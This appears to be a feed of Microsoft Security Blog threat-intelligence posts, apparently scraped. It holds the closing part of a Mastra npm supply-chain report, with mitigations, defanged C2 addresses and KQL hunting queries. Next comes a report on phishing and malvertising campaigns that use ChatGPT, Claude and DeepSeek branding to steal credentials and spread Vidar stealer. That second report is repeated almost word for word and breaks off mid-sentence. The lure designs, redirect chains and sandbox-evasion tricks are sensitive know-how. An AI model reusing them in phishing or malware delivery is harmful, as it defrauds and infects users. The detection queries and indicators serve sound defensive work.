• Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
• Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
• Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
• Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
• Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
• Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents 
 | where Timestamp > ago(7d) 
 | where FileName in ("node", "node.exe") 
 | where ProcessCommandLine has "setup.cjs" 
     or ProcessCommandLine has "easy-day-js" 
|  where ProcessCommandLine has “--no-warnings” 
 | project Timestamp, DeviceName, AccountName, 
     ProcessCommandLine, FolderPath, InitiatingProcessFileName 
 | sort by Timestamp desc 

Outbound connections to C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Indicators of compromise (IOC)

Network indicators

File indicators

Host indicators

Package indicators

References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet appeared first on Microsoft Security Blog.

As threat actors operationalize AI to accelerate attacks, they are also leveraging the wider global interest around AI itself as a social engineering lure. In recent months, Microsoft Threat Intelligence has observed a growing number of campaigns that impersonate the branding of popular AI platforms such as ChatGPT, Microsoft Copilot, DeepSeek, and Anthropic’s Claude as lures. These campaigns, which don’t represent compromise of services, span phishing, malvertising, and search engine optimization (SEO)-driven attacks that ultimately lead to credential theft, financial fraud, or malware infection.

Threat actors are quick to capitalize on highly anticipated launches or emerging trends, leveraging trusted branding and exploiting user curiosity to improve the success rates of their campaigns. Despite the AI-themed lures, however, these campaigns combine longstanding tactics, such as urgency-driven messaging, abuse of trusted services, and multi-stage redirection chains that require user interaction to evade detection.

While traditional lures like invoices, payment notifications, or delivery alerts remain effective and continue to be widely used, AI-themed lures reflect a shift in social engineering that is likely to persist as a long-term tactic used by threat actors, from cybercriminal groups to nation states. Notably, Microsoft Threat Intelligence has observed the initial access broker Storm-3075 employing AI-themed malvertising to deliver payloads, including malware signed by the malware-signing-as-a-service (MSaaS) offering attributed to the financially motivated threat actor Fox Tempest, on behalf of multiple downstream actors.

This blog details several of the campaigns observed by Microsoft Threat Intelligence in the past few months that used AI brands and references as lures, and provides guidance to help users and organizations detect, mitigate, and respond to these threats. Importantly, Microsoft believes that the activity noted in this blog is purely abuse of AI brand names as lures, not reflecting a compromise of any referenced vendor. As threat actors scale their operations with AI, organizations should leverage AI-powered security capabilities to enhance visibility, automate detection, and accelerate response across email, identity, and endpoint surfaces.

ChatGPT-themed lure leads to phishing kit collecting credit card data

On May 5, 2026, Microsoft detected a ChatGPT-themed phishing attack that delivered malicious URLs leading to phishing pages that collected credit card and personal information such as names and addresses. This phishing activity, which consisted of 4,500 emails sent to targets in South Africa (97%), was part of a broader campaign using similar themes and infrastructure. We also observed this campaign delivering as much as 100,000 emails on a single day to targets in Switzerland, Austria, and South Africa affecting a broad range of industries, including higher education and professional services.

The emails used the sender display name ChatGPT and the subject “To ensure your ChatGPT Plus continues to work – please update your payment method”. The emails posed as an urgent request to update the ChatGPT Plus subscription payment method. They warned the recipient that if a new payment method was not provided within seven days, the account would be downgraded to a free plan. A ChatGPT logo was prominently displayed at the top of the email body.

The phishing email contained a clickable Update payment method button, which did not directly send users to the attacker-controlled site. Instead, users were redirected through a series of legitimate and abused redirector hops. This is a common technique used by threat actors to exploit the reputation of trusted domains and bypass email filters, evade detection, and track victim engagement.

Targets were first directed to grupoconstat[.]bitrix24[.]com[.]br (a legitimate customer relationship management (CRM) service), which redirected to awstrack[.]me (an Amazon domain used for tracking email opens and clicks), which in turn redirected to a Rebrandly URL (a legitimate but often abused URL shortener service). Targets were finally sent to a likely legitimate but compromised domain legendarytrendsbay[.]shop where the threat actor had placed the phishing page in the /ChatGPT/ folder.

The landing page did not immediately display the phishing content. It first required visitors to pass a custom CAPTCHA, which was a simple Update payment button. If they clicked this button, users were sent to the next page where personal information, including first name, last name, and address was collected. The final page then collected the name, credit card number, expiration date, and card verification code.

Claude-themed phishing campaign collected credentials and access tokens

From April 20 to 22, 2026, Microsoft observed a phishing campaign impersonating Anthropic-branded services to target users with account-related lures tied to the Claude AI platform. The campaign sent phishing emails to targets across more than 2,000 organizations, primarily in the United States (62%), the United Kingdom (18%), and India (9%). While this campaign impacted a broad range of industries, it was most notably focused on information technology (56%), other business entities (21%), and financial services (8%).

The campaign used enforcement-themed messaging claiming that the recipient’s account was in violation of acceptable use policies and required immediate action. The emails impersonated Anthropic’s popular AI service Claude using the display names Anthropic Teams and Anthropic PBC, masquerading as legitimate account-related communications. Subject lines followed a consistent structure of “Claude Appeal Request” combined with date elements.

The email body was delivered as HTML and included Anthropic and Claude branding. The message informed recipients that their account was violating “AUP (Account Usage Policy)” and that Anthropic had “initiated an appeal procedure”. The message instructed recipients to review the attached material to access their appeal and indicated that Claude features would be limited pending review.

The email attachment was a PDF named Fill and Sign Claude Appeal Form.pdf, which was designed to resemble an official process tied to Claude account enforcement. The document presented an appeal workflow, prompting users to copy an appeal ID and click the “Claude Appeal” link, which initiated the credential harvesting process.

When clicked, the link embedded in the PDF directed users to an attacker-controlled domain, dash.awaydouble[.]org. The initial landing page displayed a Cloudflare verification prompt, presented as confirming the user was arriving from a “legitimate session”. This step likely served as a gating mechanism to impede automated analysis and sandbox detonation.

Users who completed the verification were redirected to another Claude-themed landing page hosted on servicing.pureplantcravings[.]com. This page was named “Account Appeal Notice” and contained “Account Security & Compliance” message informing users that their account had been flagged for repeated violations of usage policies. The page provided a reference date and a one-time access code, prompting users to copy the code and continue.

Clicking “Continue” redirected users to the final page, which was not available at the time of analysis. Source code revealed conditional redirect logic that routed users to one of two final landing pages, depending on whether the site was accessed through mobile device or a desktop system.

While the final redirect destination was no longer active at the time of analysis, infrastructure overlap, including shared intermediate domains and consistent redirect logic, strongly suggested that users were ultimately presented with a Microsoft sign-in experience. This final stage is consistent with adversary-in-the-middle (AiTM) tactics designed to intercept authentication tokens and facilitate account compromise.

“Awesome AI Windows Plugin” malvertising deploys Vidar stealer

Since at least early 2026, Microsoft Threat Intelligence has observed malvertising campaigns that use AI-themed terms such as “Awesome AI Windows Plugin” and “Flux Pro AI” in social engineering lures in malicious popups, in malware executable names, and GitHub repository and folder names throughout the attack chain. These campaigns are notable for their scale and velocity, moving from launch to mass impact within hours and infecting tens to hundreds of thousands of endpoints. The malware delivered in these campaigns is frequently code-signed, lending an additional layer of perceived trust to both the operating system and the user.

Microsoft attributes this malvertising activity to an initial access broker and malware distributor tracked as Storm-3075. We assess that Storm-3075 delivers final payloads on behalf of multiple downstream actors. While the example campaign described in this section delivered Vidar Stealer, we have also observed this campaign distributing Lumma Stealer, Hijack Loader, and Oyster.

On March 13, 2026, a single campaign run targeted over 66,000 devices. Microsoft has revoked the related signing certificate and GitHub has taken down the associated repository, helping to prevent tens of thousands of additional infections. Given the nature of the attack source, majority of impacted devices were likely consumer rather than enterprise endpoints. Telemetry showed global distribution, with the top affected countries being Japan, South Africa, the United States, and France.

Analysis of the redirection chain determined that the attack likely originated from free movie streaming sites. Infections on such sites typically begin when users interact with embedded movie players or click popups. Malvertising embedded in such sites can redirect users to a range of unwanted content, including malware. In this campaign, users were redirected to a page advertising a download for an “Awesome AI Windows plugin”, a fictitious product name. The plugin purported to help users watch free, high-quality videos, a lure aligned with the context of users already streaming free or pirated content.

Clicking the download button retrieved an executable named ProFluxeFlowAi-win-Setup.exe, which the user then had to manually launch. The file name mimicked a legitimate product with a similar name, Flux Pro AI, which supports text, image, and video creation. This lure reinforced the perceived legitimacy of the executable within the streaming of free movies context. The executable itself was hosted on GitHub in a repository named shippingtechnologymovie under a folder named AI-techVideos, both tailored to the AI video helper narrative.

The malware executable was signed with a fraudulently obtained Microsoft-issued code-signing certificate obtained through Artifact Signing (certificate thumbprint: 4f5c5b3ef45cfff7721754487a86aeff9a2e6e32). Microsoft attributes the signing service used by the threat actor to Fox Tempest, a financially motivated threat actor operating a malware-signing-as-a-service (MSaaS) offering used by other threat actors. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), in partnership with Resecurity, facilitated a disruption of Fox Tempest infrastructure and access model.   

Signing malware through such a service is expensive; however, for a threat actor targeting tens or hundreds of thousands of infections, the cost can be justified by the additional level of trust signed binaries imply to both the operating system and the user. Signed malware also tends to exhibit lower detection rates early in the infection lifecycle, extending the window of effective distribution.

Another notable feature of the malware is that, immediately after launch, it displays a window with a “Continue” checkmark and does not proceed until the box is clicked. This extra user interaction step is uncommon. We assess that this technique is intended to hide the malicious functionality from sandboxes and automated analysis environments that cannot dynamically perform the click. Until the user clicks “Continue,” the malware performs no suspicious activity on the operating system. This technique is functionally analogous to the CAPTCHAs frequently seen in phishing attacks.

Once the user clicks “Continue”, the executable drops and runs a malicious Python-based downloader. Both the Python interpreter and the downloader script are saved in the \AppData\Local\ folder as pythonw.exe and LICENSE.txt, respectively. The malicious script runs shellcode that loads the next-stage malware from the command-and-control (C2) domain brokeapt[.]com. The final payload observed in this campaign was Vidar infostealer.

Fake DeepSeek V4 installers on GitHub delivered Vidar Stealer

In April 2026, Microsoft identified a social engineering campaignsocial-engineering campaign that leveraged interest in the newly released DeepSeek V4 by impersonating it through a fraudulent GitHub repository and organization. The campaign abused GitHub’s release-asset infrastructure to deliver information-stealing malware such as Vidar stealer. Search engines increased the exposure of the malicious repository, exacerbated by the fact that DeepSeek did not publish an official V4 repository on GitHub.

Our investigation shows the DeepSeek lure is one identity in a broader rotating brand-abuse ecosystem that recycles whichever AI tool is trending into a fresh malware download experience. After discovering this activity, Microsoft shared the details with GitHub, and GitHub has since taken down the malicious organization, repository, and operator account.

On April 24, 2026, within hours of DeepSeek officially previewing its new V4 frontier model, a threat actor initiated the attack chain that can be summarized as:

1. Resource development on GitHub, all within roughly 45 minutes: A new GitHub organization (DeepSeek-V4), a single repository (deepseek-V4), and a release tag (deepseek-V4). The repository was decorated with stolen DeepSeek branding, real benchmark data, and SEO-optimized topics.
2. Search-driven discovery: Users found the repository through GitHub repository search, search engines, social sharing, and AI-assisted search results pointing to the lure page. The repository’s llms.txt and topic taxonomy were designed to be discovered by both classical search engines and large-language-model-powered search; observed top-rank results on search engines are consistent with that design, though we did not observe paid advertising and therefore do not assess this as malvertising.
3. Archive download from GitHub’s release-asset CDN: The release page hosted two archives, deepseek-v4-pro_x64.7z and deepseek-v4-flash_x64.7z.
4. User extraction: Users needed to extract the executable from the archive using common Windows archive tools.
5. Payload execution: The archives contained a heavyweight Win32 PE that masqueraded as the DeepSeek installer. At least one confirmed victim endpoint revealed the extracted payload landed at: C:\Users\<user>\Downloads\Programs\IA DeepSeek-V4\deepseek-v4-flash_x64.exe.
6. Active payload rotation: The threat actor actively rotated archive content while preserving file names and the release page. We observed at least three distinct archive hash generations in three days.

Microsoft Defender telemetry observed the first victim download approximately four hours later. The threat actor’s operational tempo on April 24, 2026, is consistent with a prepared, rehearsed workflow. The repository was designed to be convincing at a glance. It accumulated 91 stars and 27 forks within four days, though the proportion of organic versus inflated engagement is not independently confirmed. The attacker invested in several credibility-building elements:

• Stolen branding: The repository’s README and assets folder embedded the legitimate DeepSeek whale logo, copied from the real deepseek-ai/DeepSeek-V2 repository.
• Real benchmark data as lure: The release notes displayed authentic DeepSeek V4 benchmark scores against Claude Opus 4.6, GPT-5.4, and Gemini 3.1 Pro, copied from the official release announcement.
• Action-oriented SEO topics: The repository was tagged with deepseek-v4, deepseek-v4-download, deepseek-v4-downloader, deepseek-v4-install, and deepseek-v4-installer, which are queries users are expected to use when intent-shopping for an installer.
• LLM-aware discoverability: A top-level llms.txt file repeated the same SEO copy in a format aimed at AI-assisted search engines.

On closer inspection, the staging gives the operation away: the repository contained only a README, LICENSE, llms.txt, and stub assets/ and inference/ directories with no real model code; all nine commits were made in a single burst on April 24, 2026 by a single author; the README claimed an MIT license while repository metadata specified Apache 2.0.

Once the lure was live, search engines increased the exposure of the malicious repository. We tested the queries an interested user would naturally try when looking for DeepSeek V4 on GitHub or the open web. In a snapshot captured on April 28, 2026, the results were as follows (search results are volatile and may differ at the time of reading):

The 7z archives hosted on GitHub contained a loader executable such as SHA-256: 5455341ed1bbe75a664fca2dd0794c508e1874f75360253a7ff5bc119bc92d80. The loader was observed downloading and installing Vidar stealer and potentially additional malware.

Lastly, Microsoft observed that the DeepSeek-themed payloads share infrastructure with a much larger rotating fake-AI / fake-tool ecosystem. The same shared loader hash (SHA-256 5455341…) appeared under file names impersonating GPT-5.5, Claude Code, Kimi, Seedance, Gemma, GrokCLI, Manus AI, FraudGPT, and others (see table below). Public research from Trend Micro, Zscaler ThreatLabz, and Huntress describe the same broader ecosystem, with TradeAI.exe, OpenClaw_x64.7z, WormGPT_x64.7z, and DeepSeekAI_agent_x64.7z appearing as sibling lures and the downstream payload set documented as Vidar plus GhostSocks.

Mitigation and protection guidance

To defend against social engineering campaigns that leverage AI brands as lures, Microsoft recommends the following mitigation measures:

• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices in all locations at all times.
• Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
• Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Configure Microsoft Defender for Office 365 Safe Links to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow and time-of-click verification of URLs and links in email messages, other Microsoft Office applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers like Microsoft Edge that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post AI brands as bait: How threat actors are using the AI hype in social engineering appeared first on Microsoft Security Blog.

As threat actors operationalize AI to accelerate attacks, they are also leveraging the wider global interest around AI itself as a social engineering lure. In recent months, Microsoft Threat Intelligence has observed a growing number of campaigns that impersonate the branding of popular AI platforms such as ChatGPT, Microsoft Copilot, DeepSeek, and Anthropic’s Claude as lures. These campaigns, which don’t represent compromise of services, span phishing, malvertising, and search engine optimization (SEO)-driven attacks that ultimately lead to credential theft, financial fraud, or malware infection.

Threat actors are quick to capitalize on highly anticipated launches or emerging trends, leveraging trusted branding and exploiting user curiosity to improve the success rates of their campaigns. Despite the AI-themed lures, however, these campaigns combine longstanding tactics, such as urgency-driven messaging, abuse of trusted services, and multi-stage redirection chains that require user interaction to evade detection.

While traditional lures like invoices, payment notifications, or delivery alerts remain effective and continue to be widely used, AI-themed lures reflect a shift in social engineering that is likely to persist as a long-term tactic used by threat actors, from cybercriminal groups to nation states. Notably, Microsoft Threat Intelligence has observed the initial access broker Storm-3075 employing AI-themed malvertising to deliver payloads, including malware signed by the malware-signing-as-a-service (MSaaS) offering attributed to the financially motivated threat actor Fox Tempest, on behalf of multiple downstream actors.

This blog details several of the campaigns observed by Microsoft Threat Intelligence in the past few months that used AI brands and references as lures, and provides guidance to help users and organizations detect, mitigate, and respond to these threats. Importantly, Microsoft believes that the activity noted in this blog is purely abuse of AI brand names as lures, not reflecting a compromise of any referenced vendor. As threat actors scale their operations with AI, organizations should leverage AI-powered security capabilities to enhance visibility, automate detection, and accelerate response across email, identity, and endpoint surfaces.

ChatGPT-themed lure leads to phishing kit collecting credit card data

On May 5, 2026, Microsoft detected a ChatGPT-themed phishing attack that delivered malicious URLs leading to phishing pages that collected credit card and personal information such as names and addresses. This phishing activity, which consisted of 4,500 emails sent to targets in South Africa (97%), was part of a broader campaign using similar themes and infrastructure. We also observed this campaign delivering as much as 100,000 emails on a single day to targets in Switzerland, Austria, and South Africa affecting a broad range of industries, including higher education and professional services.

The emails used the sender display name ChatGPT and the subject “To ensure your ChatGPT Plus continues to work – please update your payment method”. The emails posed as an urgent request to update the ChatGPT Plus subscription payment method. They warned the recipient that if a new payment method was not provided within seven days, the account would be downgraded to a free plan. A ChatGPT logo was prominently displayed at the top of the email body.

The phishing email contained a clickable Update payment method button, which did not directly send users to the attacker-controlled site. Instead, users were redirected through a series of legitimate and abused redirector hops. This is a common technique used by threat actors to exploit the reputation of trusted domains and bypass email filters, evade detection, and track victim engagement.

Targets were first directed to grupoconstat[.]bitrix24[.]com[.]br (a legitimate customer relationship management (CRM) service), which redirected to awstrack[.]me (an Amazon domain used for tracking email opens and clicks), which in turn redirected to a Rebrandly URL (a legitimate but often abused URL shortener service). Targets were finally sent to a likely legitimate but compromised domain legendarytrendsbay[.]shop where the threat actor had placed the phishing page in the /ChatGPT/ folder.

The landing page did not immediately display the phishing content. It first required visitors to pass a custom CAPTCHA, which was a simple Update payment button. If they clicked this button, users were sent to the next page where personal information, including first name, last name, and address was collected. The final page then collected the name, credit card number, expiration date, and card verification code.

Claude-themed phishing campaign collected credentials and access tokens

From April 20 to 22, 2026, Microsoft observed a phishing campaign impersonating Anthropic-branded services to target users with account-related lures tied to the Claude AI platform. The campaign sent phishing emails to targets across more than 2,000 organizations, primarily in the United States (62%), the United Kingdom (18%), and India (9%). While this campaign impacted a broad range of industries, it was most notably focused on information technology (56%), other business entities (21%), and financial services (8%).

The campaign used enforcement-themed messaging claiming that the recipient’s account was in violation of acceptable use policies and required immediate action. The emails impersonated Anthropic’s popular AI service Claude using the display names Anthropic Teams and Anthropic PBC, masquerading as legitimate account-related communications. Subject lines followed a consistent structure of “Claude Appeal Request” combined with date elements.

The email body was delivered as HTML and included Anthropic and Claude branding. The message informed recipients that their account was violating “AUP (Account Usage Policy)” and that Anthropic had “initiated an appeal procedure”. The message instructed recipients to review the attached material to access their appeal and indicated that Claude features would be limited pending review.

The email attachment was a PDF named Fill and Sign Claude Appeal Form.pdf, which was designed to resemble an official process tied to Claude account enforcement. The document presented an appeal workflow, prompting users to copy an appeal ID and click the “Claude Appeal” link, which initiated the credential harvesting process.

When clicked, the link embedded in the PDF directed users to an attacker-controlled domain, dash.awaydouble[.]org. The initial landing page displayed a Cloudflare verification prompt, presented as confirming the user was arriving from a “legitimate session”. This step likely served as a gating mechanism to impede automated analysis and sandbox detonation.

Users who completed the verification were redirected to another Claude-themed landing page hosted on servicing.pureplantcravings[.]com. This page was named “Account Appeal Notice” and contained “Account Security & Compliance” message informing users that their account had been flagged for repeated violations of usage policies. The page provided a reference date and a one-time access code, prompting users to copy the code and continue.

Clicking “Continue” redirected users to the final page, which was not available at the time of analysis. Source code revealed conditional redirect logic that routed users to one of two final landing pages, depending on whether the site was accessed through mobile device or a desktop system.

While the final redirect destination was no longer active at the time of analysis, infrastructure overlap, including shared intermediate domains and consistent redirect logic, strongly suggested that users were ultimately presented with a Microsoft sign-in experience. This final stage is consistent with adversary-in-the-middle (AiTM) tactics designed to intercept authentication tokens and facilitate account compromise.

“Awesome AI Windows Plugin” malvertising deploys Vidar stealer

Since at least early 2026, Microsoft Threat Intelligence has observed malvertising campaigns that use AI-themed terms such as “Awesome AI Windows Plugin” and “Flux Pro AI” in social engineering lures in malicious popups, in malware executable names, and GitHub repository and folder names throughout the attack chain. These campaigns are notable for their scale and velocity, moving from launch to mass impact within hours and infecting tens to hundreds of thousands of endpoints. The malware delivered in these campaigns is frequently code-signed, lending an additional layer of perceived trust to both the operating system and the user.

Microsoft attributes this malvertising activity to an initial access broker and malware distributor tracked as Storm-3075. We assess that Storm-3075 delivers final payloads on behalf of multiple downstream actors. While the example campaign described in this section delivered Vidar Stealer, we have also observed this campaign distributing Lumma Stealer, Hijack Loader, and Oyster.

On March 13, 2026, a single campaign run targeted over 66,000 devices. Microsoft has revoked the related signing certificate and GitHub has taken down the associated repository, helping to prevent tens of thousands of additional infections. Given the nature of the attack source, majority of impacted devices were likely consumer rather than enterprise endpoints. Telemetry showed global distribution, with the top affected countries being Japan, South Africa, the United States, and France.

Analysis of the redirection chain determined that the attack likely originated from free movie streaming sites. Infections on such sites typically begin when users interact with embedded movie players or click popups. Malvertising embedded in such sites can redirect users to a range of unwanted content, including malware. In this campaign, users were redirected to a page advertising a download for an “Awesome AI Windows plugin”, a fictitious product name. The plugin purported to help users watch free, high-quality videos, a lure aligned with the context of users already streaming free or pirated content.

Clicking the download button retrieved an executable named ProFluxeFlowAi-win-Setup.exe, which the user then had to manually launch. The file name mimicked a legitimate product with a similar name, Flux Pro AI, which supports text, image, and video creation. This lure reinforced the perceived legitimacy of the executable within the streaming of free movies context. The executable itself was hosted on GitHub in a repository named shippingtechnologymovie under a folder named AI-techVideos, both tailored to the AI video helper narrative.

The malware executable was signed with a fraudulently obtained Microsoft-issued code-signing certificate obtained through Artifact Signing (certificate thumbprint: 4f5c5b3ef45cfff7721754487a86aeff9a2e6e32). Microsoft attributes the signing service used by the threat actor to Fox Tempest, a financially motivated threat actor operating a malware-signing-as-a-service (MSaaS) offering used by other threat actors. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), in partnership with Resecurity, facilitated a disruption of Fox Tempest infrastructure and access model.   

Signing malware through such a service is expensive; however, for a threat actor targeting tens or hundreds of thousands of infections, the cost can be justified by the additional level of trust signed binaries imply to both the operating system and the user. Signed malware also tends to exhibit lower detection rates early in the infection lifecycle, extending the window of effective distribution.

Another notable feature of the malware is that, immediately after launch, it displays a window with a “Continue” checkmark and does not proceed until the box is clicked. This extra user interaction step is uncommon. We assess that this technique is intended to hide the malicious functionality from sandboxes and automated analysis environments that cannot dynamically perform the click. Until the user clicks “Continue,” the malware performs no suspicious activity on the operating system. This technique is functionally analogous to the CAPTCHAs frequently seen in phishing attacks.

Once the user clicks “Continue”, the executable drops and runs a malicious Python-based downloader. Both the Python interpreter and the downloader script are saved in the \AppData\Local\ folder as pythonw.exe and LICENSE.txt, respectively. The malicious script runs shellcode that loads the next-stage malware from the command-and-control (C2) domain brokeapt[.]com. The final payload observed in this campaign was Vidar infostealer.

Fake DeepSeek V4 installers on GitHub delivered Vidar Stealer

In April 2026, Microsoft identified a social engineering campaignsocial-engineering campaign that leveraged interest in the newly released DeepSeek V4 by impersonating it through a fraudulent GitHub repository and organization. The campaign abused GitHub’s release-asset infrastructure to deliver information-stealing malware such as Vidar stealer. Search engines increased the exposure of the malicious repository, exacerbated by the fact that DeepSeek did not publish an official V4 repository on GitHub.

Our investigation shows the DeepSeek lure is one identity in a broader rotating brand-abuse ecosystem that recycles whichever AI tool is trending into a fresh malware download experience. After discovering this activity, Microsoft shared the details with GitHub, and GitHub has since taken down the malicious organization, repository, and operator account.

On April 24, 2026, within hours of DeepSeek officially previewing its new V4 frontier model, a threat actor initiated the attack chain that can be summarized as:

1. Resource development on GitHub, all within roughly 45 minutes: A new GitHub organization (DeepSeek-V4), a single repository (deepseek-V4), and a release tag (deepseek-V4). The repository was decorated with stolen DeepSeek branding, real benchmark data, and SEO-optimized topics.
2. Search-driven discovery: Users found the repository through GitHub repository search, search engines, social sharing, and AI-assisted search results pointing to the lure page. The repository’s llms.txt and topic taxonomy were designed to be discovered by both classical search engines and large-language-model-powered search; observed top-rank results on search engines are consistent with that design, though we did not observe paid advertising and therefore do not assess this as malvertising.
3. Archive download from GitHub’s release-asset CDN: The release page hosted two archives, deepseek-v4-pro_x64.7z and deepseek-v4-flash_x64.7z.
4. User extraction: Users needed to extract the executable from the archive using common Windows archive tools.
5. Payload execution: The archives contained a heavyweight Win32 PE that masqueraded as the DeepSeek installer. At least one confirmed victim endpoint revealed the extracted payload landed at: C:\Users\<user>\Downloads\Programs\IA DeepSeek-V4\deepseek-v4-flash_x64.exe.
6. Active payload rotation: The threat actor actively rotated archive content while preserving file names and the release page. We observed at least three distinct archive hash generations in three days.

Microsoft Defender telemetry observed the first victim download approximately four hours later. The threat actor’s operational tempo on April 24, 2026, is consistent with a prepared, rehearsed workflow. The repository was designed to be convincing at a glance. It accumulated 91 stars and 27 forks within four days, though the proportion of organic versus inflated engagement is not independently confirmed. The attacker invested in several credibility-building elements:

• Stolen branding: The repository’s README and assets folder embedded the legitimate DeepSeek whale logo, copied from the real deepseek-ai/DeepSeek-V2 repository.
• Real benchmark data as lure: The release notes displayed authentic DeepSeek V4 benchmark scores against Claude Opus 4.6, GPT-5.4, and Gemini 3.1 Pro, copied from the official release announcement.
• Action-oriented SEO topics: The repository was tagged with deepseek-v4, deepseek-v4-download, deepseek-v4-downloader, deepseek-v4-install, and deepseek-v4-installer, which are queries users are expected to use when intent-shopping for an installer.
• LLM-aware discoverability: A top-level llms.txt file repeated the same SEO copy in a format aimed at AI-assisted search engines.

On closer inspection, the staging gives the operation away: the repository contained only a README, LICENSE, llms.txt, and stub assets/ and inference/ directories with no real model code; all nine commits were made in a single burst on April 24, 2026 by a single author; the README claimed an MIT license while repository metadata specified Apache 2.0.

Once the lure was live, search engines increased the exposure of the malicious repository. We tested the queries an interested user would naturally try when looking for DeepSeek V4 on GitHub or the open web. In a snapshot captured on April 28, 2026, the results were as follows (search results are volatile and may differ at the time of reading):

